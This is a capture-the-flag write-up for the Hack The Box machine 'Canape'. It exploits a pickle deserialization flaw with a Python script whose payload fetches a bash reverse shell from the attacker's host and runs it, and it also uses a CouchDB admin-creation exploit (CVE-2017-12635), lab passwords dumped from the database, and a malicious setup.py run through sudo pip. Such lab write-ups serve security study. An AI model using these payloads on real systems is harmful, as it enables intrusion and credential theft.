Writeup: Hack The Box - Machines - Canape

Description

  • Name: Canape
  • IP: 10.10.10.70
  • Author: overcast
  • Difficulty: 5.1/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 10.10.10.70

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PORT   STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.10.10.70:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Pwn

The web application on port 80 is a website where we can read or add quotes from The Simpsons characters.

From the nmap we see that there is a git repository so with wget -r --no-parent http://10.10.10.70/.git we can download it and we can read the server side application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5


app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")

@app.route("/")
def index():
return render_template("index.html")

@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)

WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None

if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest()
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True

return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()

if "p1" in data:
item = cPickle.loads(data)
else:
item = data

return "Still reviewing: " + item

if __name__ == "__main__":
app.run()

we can see that the server is using Flask to serve the content and has 3 main routes:

  • /quotes to display quotes from a local ChouchDB
  • /submit to submit a quote for a character in the WHITELIST list
  • /check to actually read a previous inserted quote.

From the website we can access both submit and quotes pages but not check: that is because the developer hided the link on the HTML page (but not server side!).

From the history of the repository we saw that the check with the md5 in the submit function originally used the base64 encoding.

Since the server side code is using pickle to deserialize/serialize our input without sanitization we can try to execute commands from the loads method.

Serialization (pickling) and deserialization (unpickling) are mechanisms used in many environment (web, mobile, IoT) when you need to convert any Object to something that you can put “outside” of your application (network, file system, database).

To serialize some object like python class we can explicit implement methods such as __reduce__, __getstate__ and __setstate__ to instruct pickle on how to generate the string for our object.

On our python application we have that the input char and quote (from the form) are serialized and dumped in a file with name md5(char + quote).p. With check function we can call the unserialization of the file.

Since the __reduce__ method is used on unserialization we can write our own object Exploit with a malicious __reduce__ method. This should return a list of n elements, the first being a callable, and the others arguments.
The callable will be executed with underlying arguments, and the result will be the “unserialization” of the object.

1
2
3
4
5
6
import pickle


class EvilPickle(object):
def __reduce__(self):
return (os.system, ('echo Powned', ))

In addition we need to calculate the md5 of our input to correctly select the malicious file triggering a POST to /check; we need also to bypass the check on the character name.

We first tried to execute the exploit on our machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Exploit(object):
def __reduce__(self):
return (os.system, (
"ls",
))


def test_local():
char = cPickle.dumps(Exploit())
quote = "\n"
p_id = md5(char + quote).hexdigest()
path = "/tmp/" + p_id + ".p"
with open(path, "wb") as outfile:
outfile.write(char + quote)
item = cPickle.loads(open(path, "rb").read())
print("Still reviewing: " + item)
print("Test Done!")


test_local()

However this method will fail to complete the execution because on print we get the error TypeError: cannot concatenate 'str' and 'int' objects but the commad ls is correctly executed.
With this scenario the flask application will return us a 500 error but will execute the command: we don’t have the ability to read the command output so we need to trigger a command to execute a reverse shell.

First we need to create the reverse shell command for bash with:

msfvenom -p cmd/unix/reverse_bash lhost=10.10.15.87 lport=3487 -f raw > bart.sh

The filename of the file will let us bypass the whitelist constraint.

msfconsole -x "use exploit/multi/handler; set payload cmd/unix/reverse_bash; set LHOST 10.10.15.87; set LPORT 3487; run -j"

To execute the receiver of the reverse shell in background on metasploit.

python2 -m SimpleHTTPServer 8000

To serve bart.sh file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python2
import cPickle
import requests
import os
from hashlib import md5

submit = "http://10.10.10.70/submit"
check = "http://10.10.10.70/check"
UA = "Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"
test = {"character": "Bart", "quote": " "}


class Exploit(object):
def __reduce__(self):
return (os.system, (
"wget -O /var/tmp/bart.sh http://10.10.15.87:8000/bart.sh; bash /var/tmp/bart.sh;",
))


def test_local():
char = cPickle.dumps(Exploit())
quote = "\n"
p_id = md5(char + quote).hexdigest()
path = "/tmp/" + p_id + ".p"
with open(path, "wb") as outfile:
outfile.write(char + quote)
item = cPickle.loads(open(path, "rb").read())
print("Still reviewing: " + item)
print("Test Done!")


with requests.Session() as s:
s.headers = {
"User-Agent": UA,
"Content-Type": "application/x-www-form-urlencoded"
}
r = s.post(submit, data=test)
assert ("Thank you for your" in r.text)
h = md5(test["character"] + test["quote"]).hexdigest()
r = s.post(check, data={"id": h})
print(r.text)

print("-------------- EXPLOIT -------------------------------------------")
char = cPickle.dumps(Exploit())
quote = "\n"
h = md5(char + quote).hexdigest()
data = {"character": char, "quote": quote}
r = s.post(submit, data=data)
assert ("Thank you for your" in r.text)
r = s.post(check, data={"id": h})
print(r.text)

And we got a shell!

To upgrade the reverse shell to a meterpreter session we can use post/multi/manage/shell_to_meterpreter.

From the session we can see that we had to privesc from www-data to homer or directly to root to read the flags.

From netstat we saw that there were two ChouchDB ports in LISTEN: 5984 and 5986. The DB service is runned by homer user.

1
2
3
4
curl -s http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
curl -s http://localhost:5986
{"couchdb":"Welcome","uuid":"132586dfde75b957085d59a5096e9c20","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

Online we learnt that the 5986 is used to serve the Fauxton webUI for ChouchDB and 5984 is the default port to interact with the service.

Since the service is binded on 127.0.0.1 we can’t port forward from meterpreter to execute command on our machine or access the webUI.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
curl http://127.0.0.1:5984/_all_dbs
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

curl http://127.0.0.1:5984/_users/_all_docs
{"error":"unauthorized","reason":"You are not a server admin."}

curl http://127.0.0.1:5984/passwords/_all_docs
{"error":"unauthorized","reason":"You are not authorized to access this db."}

curl http://127.0.0.1:5984/simpsons/_all_docs
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

So we discovered a list of DBs where we don’t have access (for now!) and the DB with the quotes that we saw on the web site.

Searching for an exploit for couchdb we found a remote privilege escalation CVE-2017-12635.

The exploit will create a user with admin rights from non-admin users exploiting the JSON parser of ChouchDB.
The execution is very simple: we need to PUT http://localhost:5984/_users/org.couchdb.user:dodo with data {"type": "user", "name": "dodo", "roles": ["_admin"], "roles": [], "password": "mypassword"}.

Now we can authenticate to ChouchDB and start querying all DBs.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
DODO="http://dodo:ficaculo@127.0.0.1:5984"
echo $DODO
http://dodo:ficaculo@127.0.0.1:5984
alias curl="curl -s"
curl $DODO/_users/_all_docs
{"total_rows":3,"offset":0,"rows":[
{"id":"_design/_auth","key":"_design/_auth","value":{"rev":"1-75efcce1f083316d622d389f3f9813f7"}},
{"id":"org.couchdb.user:dodo","key":"org.couchdb.user:dodo","value":{"rev":"1-b8dadd85c85ce8a5b864cc6501fd5379"}},
{"id":"org.couchdb.user:sekurak","key":"org.couchdb.user:sekurak","value":{"rev":"1-865a36a973bdfee123c069bb7ace110c"}}
]}

curl $DODO/_users/org.couchdb.user:sekurak
{"_id":"org.couchdb.user:sekurak","_rev":"1-865a36a973bdfee123c069bb7ace110c","type":"user","name":"sekurak","roles":["_admin"],"roles":[],"password_scheme":"pbkdf2","iterations":10,"derived_key":"b7e9420bb1fc4a37e2289e2b5d3ef28a30d74328","salt":"f76266d20f58a28c666212f34aa66bf1"}

curl $DODO/_users/org.couchdb.user:dodo
{"_id":"org.couchdb.user:dodo","_rev":"1-b8dadd85c85ce8a5b864cc6501fd5379","type":"user","name":"dodo","roles":["_admin"],"roles":[],"password_scheme":"pbkdf2","iterations":10,"derived_key":"fe57fc8df3e161935b25a99ce437bd77549c74dc","salt":"ec79bee0c9b0d74e1a77c2707e5cae75"}

curl $DODO/passwords/739c5ebdf3f7a001bebb8fc4380019e4
{"_id":"739c5ebdf3f7a001bebb8fc4380019e4","_rev":"2-81cf17b971d9229c54be92eeee723296","item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":""}
curl $DODO/passwords/739c5ebdf3f7a001bebb8fc43800368d
{"_id":"739c5ebdf3f7a001bebb8fc43800368d","_rev":"2-43f8db6aa3b51643c9a0e21cacd92c6e","item":"couchdb","password":"r3lax0Nth3C0UCH","user":"couchy"}
curl $DODO/passwords/739c5ebdf3f7a001bebb8fc438003e5f
{"_id":"739c5ebdf3f7a001bebb8fc438003e5f","_rev":"1-77cd0af093b96943ecb42c2e5358fe61","item":"simpsonsfanclub.com","password":"h02ddjdj2k2k2","user":"homer"}
curl $DODO/passwords/739c5ebdf3f7a001bebb8fc438004738
{"_id":"739c5ebdf3f7a001bebb8fc438004738","_rev":"1-49a20010e64044ee7571b8c1b902cf8c","user":"homerj0121","item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"}

Now we got some users and passwords:

1
2
3
4
:0B4jyA0xtytZi7esBNGp
couchy:r3lax0Nth3C0UCH
homer:h02ddjdj2k2k2
homerj0121:STOP STORING YOUR PASSWORDS HERE -Admin

The password 0B4jyA0xtytZi7esBNGp will login with SSH (port 65535) as homer and we can get the user flag.

From the command sudo -l we can see that we can run pip install as root without password:

1
2
3
4
5
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
(root) /usr/bin/pip install *

We create a fake setup.py to cat the content of the root flag in a readable file (it’s possible to embed a payload to get a root reverse shell):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from setuptools import setup
from setuptools.command.install import install
import os


class CustomInstall(install):
def run(self):
install.run(self)
os.system("cat /root/root.txt >> /tmp/.dodo/root.txt")


setup(
name='dodoexp',
version='0.0.1',
url='https://cesena.ing2.unibo.it',
author='dodo',
license='MIT',
zip_safe=False,
cmdclass={'install': CustomInstall})

Issuing sudo pip install . on the folder where is our malicious setup file we can read the root flag.